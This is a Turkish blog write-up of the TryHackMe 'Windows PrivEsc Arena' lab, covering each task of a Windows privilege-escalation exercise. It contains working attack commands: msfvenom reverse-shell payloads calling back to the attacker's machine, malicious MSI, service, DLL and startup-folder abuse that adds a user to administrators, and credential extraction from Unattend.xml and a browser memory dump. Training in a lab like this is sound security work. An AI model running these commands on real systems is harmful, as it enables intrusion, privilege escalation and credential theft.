TryHackMe Windows PrivEsc Arena
Merhaba. Bu yazımda TryHackMe Windows PrivEsc Arena isimli windows yetki yükseltme teknikleri ile alakalı olan odanın çözümünü yapacağım. Siber Güvenlik alanında sızma testi yaparken sıklıkla windows sistemlerle karşıldığı için bu oda önemli bir lab olarak yerini almaktadır. Oldukça zevkli ve faydalı olan Windows PrivEsc Arena odasını herkesin tamamlaması gerektiğini düşünüyorum.
Odaya buradan ulaşabilirsiniz >> https://tryhackme.com/room/windowsprivescarena
Task 1 | Connecting to TryHackMe network
Bu kısımda TryHackMe networküne openvpn kullanarak bağlanmamız gerektiği aksi takdirde bağlanmayı bilmiyorsak OpenVPN odasını bitirmemiz söylenmekte.
Task 2 | Deploy the vulnerable machine
Bu odanın bize windows privilege escalation tactics, including kernel exploits, DLL hijacking, service exploits, registry exploits ve fazlasını öğreteceği söylenmekte.
Bu laboratuvar Sagi Shahar’ın privesc atölyesi (https://github.com/sagishahar/lpeworkshop) kullanılarak oluşturuldu ve The Cyber Mentor’un Windows Privilege Escalation Udemy kursunun (http://udemy.com/course/windows-privilege-escalation-for-beginners) bir parçası olarak kullanıldı.
Kursu tamamlamak için gerekli araçların “C:\Users\user\Desktop\Tools” dizininde olduğu bildirilmekte. RDP 3389 bağlantı noktasının açık olduğu ve bağlanmak için kimlik bilgilerimiz:
username: user
password: password321
Herhangi bir yönetim (Administrative) işlemi için kimlik bilgileriniz şunlardır:
username: TCM
password: Hacker123
Makineyi deploy etmeden önce https://remmina.org/how-to-install-remmina/ adresinde yer alan aracı Kali makineme yüklüyorum. Bu araç ile RDP bağlantısını kuracağız.
Deploy the machine and log into the user account via RDP
Başarılı bir şekilde bağlantı kurduk.
Open a command prompt and run ‘net user’. Who is the other non-default user on the machine?
net user komutunu çalıştırdık ve sorunun cevabı olan TCM kullanıcısını gördük.
Task 3 | Registry Escalation – Autorun
Detection
C:\Users\User\Desktop\Tools\Autoruns\Autoruns64.exe komutunu çalıştırıyorum.
Daha sonra C:\Program Files\Autorun Program\program.exe arayarak programı görüntülüyorum.
C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu “C:\Program Files\Autorun Program” komutunu terminale yazarak Everyone kullanıcı grubuna program.exe dosyası için “FILE_ALL_ACCESS” izinleri verildiğini görüyorum.
Exploitation
İlk olarak msfconsole gidip gerekli komutları girerek dinlemeye başlıyoruz.
Daha sonra bağlantıyı sağlayacağımız exe uzantılı dosyayı oluşturuyorum.
Ardından python SimpleHTTPServer başlatarak bu programı hedef sisteme yükleyeceğim.
Windows tarafında tarayıcıya ip adresi ve portu yazıp bağlanarak program.exe dosyasını “C:\Program Files\Autorun Program” dizininde yer alan aynı isimli program ile değiştiriyoruz.
Ardından user kullanıcısından çıkış yapıp soru içerisinde verilen TCM kullanıcısı ile oturum açalım.
Görüldüğü gibi dosyamız başlangıçta çalışıyor. Dosyayı run ettiğimizde meterpreter oturumunu elde edeceğiz.
Evet en sevilen görüntünün olduğu kısıma geldik 🙂 Başarılı bir şekilde oturumu elde ettik.
Task 4 | Registry Escalation – AlwaysInstallElevated
Detection
Gerekli komutları girerek “AlwaysInstallElevated” çıktısını görüyoruz.
AlwaysInstallElevated, ayrıcalıklı olmayan kullanıcıların Microsoft Windows Installer Paketi Dosyaları’nı (MSI) yükseltilmiş (SYSTEM) izinleriyle çalıştırma olanağı sağlayan bir ayardır.
https://ozdenercin.com/2019/06/28/derinlemesine-windows-privilege-escalation-yetki-yukseltmesi/
Exploitation
Msfconsole ile reverse_tcp dinlemesini başlatıyorum.
Reverse shell almak için setup.msi adında .msi uzantılı dosyayı msfvenom ile oluşturuyorum.
Python SimpleHTTPServer başlatarak oluşturduğum dosyayı hedef sistem C dizininde Temp içerisine yükleyelim.
Dosyayı başarılı bir şekilde hedef sisteme yüklüyorum.
Buradan GET isteklerini görüyoruz. Dosya başarılı bir şekilde gönderildi. Daha sonrasında ise “msiexec /quiet /qn /i C:\Temp\setup.msi” komutunu çalıştırarak meterpreter oturumu elde edeceğiz.
Hedef sisteme yüklediğim dosya ile meterpreter oturumunu elde ediyorum.
Task 5 | Service Escalation – Registry
Detection
Çıktının, kullanıcının “NT AUTHORITY\INTERACTIVE“a ait olduğunu, kayıt defteri anahtarı üzerinde “FullControl” iznine sahip olduğunu gösterdiğine dikkat edin.
Exploitation
İlk olarak Windows makinede “C:\Users\User\Desktop\Tools\Source\windows_service.c” yolundaki programı saldırgan makineye indiriyorum. Bu işlemi daha önce elde ettiğim meterpreter oturumu ile yapıyorum.
Ardından dosyayı sublime text ile açıp system() fonksiyonu içerisine “cmd.exe /k net localgroup administrators user /add” komutunu ekliyorum.
Daha sonra “x86_64-w64-mingw32-gcc windows_service.c -o x.exe” komutu ile dosyayı derleyip x.exe olarak output ediyorum.
HTTP server ile windows makineye C:\Temp dizinine dosyayı yüklüyorum.
“reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f” komutunu çalıştırıyorum. Sonrasında “sc start regsvc” komutunu çalıştırıyorum. net localgroup administrators komutunu çalıştırarak kullanıcının Administrators arasına eklendiğini görüyoruz.
Task 6 | Service Escalation – Executable Files
Detection
İlk olarak Windows makinede C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu “C:\Program Files\File Permissions Service” komutunu çalıştırıyorum. Çıktıda filepermservice.exe isimli çalıştırılabilir dosyanın Everyone kullanıcı grubunda “FILE_ALL_ACCESS” izinlerine sahip olduğunu görüyorum.
Exploitation
Windows makinede copy /y c:\Temp\x.exe “c:\Program Files\File Permissions Service\filepermservice.exe” komutunu çalıştırıp dosyayı kopyalıyorum. Daha sonra sc start filepermsvc komutunu çalıştırıyorum. Daha sonra net localgroup administrators komutu ile kontrol ettiğimde user isimli kullanıcının local administrator içerisine eklediğini görüyorum.
Task 7 | Privilege Escalation – Startup Applications
Detection
icacls.exe “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup” komutunu yazarak çıktıdan “BUILTIN\Users” grubunun icacls.exe dosyası için erişimini görüyoruz. Normalde full access (F) erişime sahip olması gerekiyordu fakat burada göremedim. Tekrar denenebilir.
Exploitation
Kali makinemde dinlemedeyim. Dinlemeye aldıktan sonra msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Kali VM IP Address] -f exe -o x.exe komutu ile x.exe isimli reverse shell almamızı sağlayacak dosyayı oluşturuyorum.
Daha sonra http server başlatarak bu dosyayı windows makinede “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup” konumuna indiriyorum. İndirdikten sonra user kullanıcısından çıkış yapıp administrator olarak tekrar oturum açıyorum ve shelli elde ediyorum.
Bu kısımda elde ettiğimiz shell ile getuid komutunu çalıştırdığımızda çıktısının “User-PC\Admin” olması gerekiyordu fakat “BUILTIN\Users” grubunun icacls.exe dosyası için full access erişimi yoktu. Birkaç kez denenerek sonuç alınabilir ancak olayın mantığını anlama açısından yine de faydalı.
Task 8 | Service Escalation – DLL Hijacking
Detection
Windows VM
1. Open the Tools folder that is located on the desktop and then go the Process Monitor folder.
2. In reality, executables would be copied from the victim’s host over to the attacker’s host for analysis during run time. Alternatively, the same software can be installed on the attacker’s host for analysis, in case they can obtain it. To simulate this, right click on Procmon.exe and select ‘Run as administrator’ from the menu.
3. In procmon, select “filter”. From the left-most drop down menu, select ‘Process Name’.
4. In the input box on the same line type: dllhijackservice.exe
5. Make sure the line reads “Process Name is dllhijackservice.exe then Include” and click on the ‘Add’ button, then ‘Apply’ and lastly on ‘OK’.
6. Next, select from the left-most drop down menu ‘Result’.
7. In the input box on the same line type: NAME NOT FOUND
8. Make sure the line reads “Result is NAME NOT FOUND then Include” and click on the ‘Add’ button, then ‘Apply’ and lastly on ‘OK’.
9. Open command prompt and type: sc start dllsvc
10. Scroll to the bottom of the window. One of the highlighted results shows that the service tried to execute ‘C:\Temp\hijackme.dll’ yet it could not do that as the file was not found. Note that ‘C:\Temp’ is a writable location.
Yukarıda yazılanları uygulayalım. Yazılanları uyguladıktan sonra procmon görüntüsünde ‘C:\Temp\hijackme.dll‘ dosyasını yürütmeye çalıştığını ancak dosya olmadığı yürütemediğini görüyoruz.
Exploitation
“C:\Users\User\Desktop\Tools\Source” yolunda bulunan windows_dll.c isimli dosyayı kali makineye indirip system() fonksiyonu içerisine “cmd.exe /k net localgroup administrators user /add” komutunu ekleyip kayıt ediyorum.
Daha sonra dosyayı “x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijackme.dll” komutu ile derleyip hijackme.dll olarak output ediyorum.
hijackme.dll dosyasını hedef sistemde C:\Temp dizinine indiriyorum.
Ardından sc stop dllsvc & sc start dllsvc komutunu çalıştırıyorum.
net localgroup administrators komutunu çalıştırıyorum ve user kullanıcısının yöneticiler arasına eklendiğini görüyorum.
Task 9 | Service Escalation – binPath
Detection
Komut satırında “C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wuvc daclsvc” komutunu çalıştırarak “User-PC\User” kullanıcısının “SERVICE_CHANGE_CONFIG” yetkisi olduğunu görüyoruz.
Exploitation
Komut satırına sc config daclsvc binpath= “net localgroup administrators user /add” komutunu ardından sc start daclsvc komutunu giriyorum.
Daha sonra user kullancısının yerel yöneticiler arasına eklendiğini teyit etmek için net localgroup administrators komutunu girip çıktıda görüyorum.
Task 10 | Service Escalation – Unquoted Service Paths
Detection
sc qc unquotedsvc komutunu giriyorum ve çıktısında “BINARY_PATH_NAME” tırnak işaretleri arasında sınırlı olmayan bir yol gösterdiğini görüyoruz.
Exploitation
msfvenom -p windows/exec CMD=’net localgroup administrators user /add’ -f exe-service -o common.exe komutu ile kali makinemde user kullanıcısını yerel yöneticiler arasına ekleyecek programı oluşturuyorum. Bu dosyayı HTTP server ile windows makinede “C:\Program Files\Unquoted Path Service” konumuna indiriyorum.
Hedef dizine dosyayı başarılı bir şekilde yükledikten sonra komut satırında sc start unquotedsvc komutunu çalıştırıyorum.
Ardından user kullanıcısının yerel yöneticiler arasına eklenip eklenmediğini net localgroup administrators komutu ile görüyorum.
Task 11 | Potato Escalation – Hot Potato
Exploitation
Soru içerisinde verilenleri uygulayarak user kullanıcısının yöneticiler arasına eklendiğini görüyoruz.
Task 12 | Password Mining Escalation – Configuration Files
Exploitation
notepad C:\Windows\Panther\Unattend.xml komutunu çalıştırarak dosyayı notepad ile açıyorum. <password> konumuna giderek orada yer alan base64 kodu kopyalıyorum.
Kali makinemde terminale gelerek base64 kodu decode ederek şifreyi elde ediyorum.
Task 13 | Password Mining Escalation – Memory
Exploitation
Serverı oluşturduk. Elde ettiğimiz url adresine kali ip adresi ile windows makinede gidiyorum.
Daha sonra task managera gidip internet explorer create dump file diyorum.
Elde ettiğim DMP uzantılı dosyayı kali makineme indirmem gerekiyor. Bunun için meterpreter oturumu ile dosyayı download ediyorum (dosya boyutu 90 MB).
Dosya indikten sonra strings /root/iexplore.DMP | grep “Authorization: Basic” komutu ile stringlere göz atarak giriş bilgilerini elde edebiliriz. Elde edilen base64 kodunu decode ederek sonuca ulaşabiliriz. Ancak metasploit üzerinde giriş yaptığımız bilgileri açık şekilde görebiliyoruz. Dilerseniz soru içindeki gibi de yapabilirsiniz.
Task 14 | Privilege Escalation – Kernel Exploits
Establish a shell
Msfconsole ile dinlemeye alıyoruz. Ardından msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe > shell.exe komutu ile shell alcağımız dosyayı oluşturuyoruz.
Daha sonra dosyayı windows makineye HTTP server ile indiriyorum.
Dosyayı indirdikten sonra çalıştırıyorum ve reverse shell elde ediyorum.
Detection & Exploitation
Bu kısımda meterpreter oturumu elde edip, bu oturumu kullanarak yerel exploitleri taramamız gerekiyor. Sonrasında ms16_014_wmi_recv_notif isimli exploit ile tekrardan bir meterpreter oturumu elde etmemiz gerekiyor. Ancak ben oturumumun sürekli düşmesi sebebi ile bu kısımı görsel olarak anlatamayacağım.
Oldukça faydalı ve bir o kadar da zevkli bir oda olan Windows PrivEsc Arena‘ya herkesin uğraması gerektiğini düşünüyorum.
Başka yazılarda görüşmek üzere.